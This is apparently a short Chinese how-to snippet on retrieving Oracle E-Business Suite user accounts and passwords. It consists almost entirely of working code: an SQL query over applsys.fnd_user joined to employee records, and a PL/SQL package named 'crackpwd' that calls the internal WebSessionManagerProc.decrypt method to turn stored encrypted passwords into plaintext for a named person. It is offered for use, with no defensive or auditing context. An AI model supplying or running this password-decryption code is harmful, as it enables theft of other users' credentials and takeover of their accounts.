EBS系统怎样查询用户的账号和密码

<span style="font-size:14px;">SELECT b.full_name,
a.user_name ,
crackpwd.getpwd ( 'WELCOME',-------数据库登录密码
encrypted_user_password ),
a.start_date ,
a.end_date
FROM applsys.fnd_user a ,
per_all_people_f b
WHERE a.employee_id = b.person_id (+)
AND b.full_name = '张三'         --系统关联用户名
--AND a.user_name= 'HD_HAND'  --登陆名
ORDER BY a.user_name ;
</span>

<span style="font-size:14px;">---------------------------------
CREATE OR REPLACE PACKAGE crackpwd AUTHID CURRENT_USER

AS

FUNCTION getpwd(orauser    IN VARCHAR2,
appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END crackpwd;
---------------------------------
</span>

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CREATE OR REPLACE PACKAGE BODY crackpwd

AS

FUNCTION getpwd (orauser    IN VARCHAR2,
appuserpwd IN VARCHAR2)

RETURN VARCHAR2

AS

LANGUAGE JAVA

NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END crackpwd;
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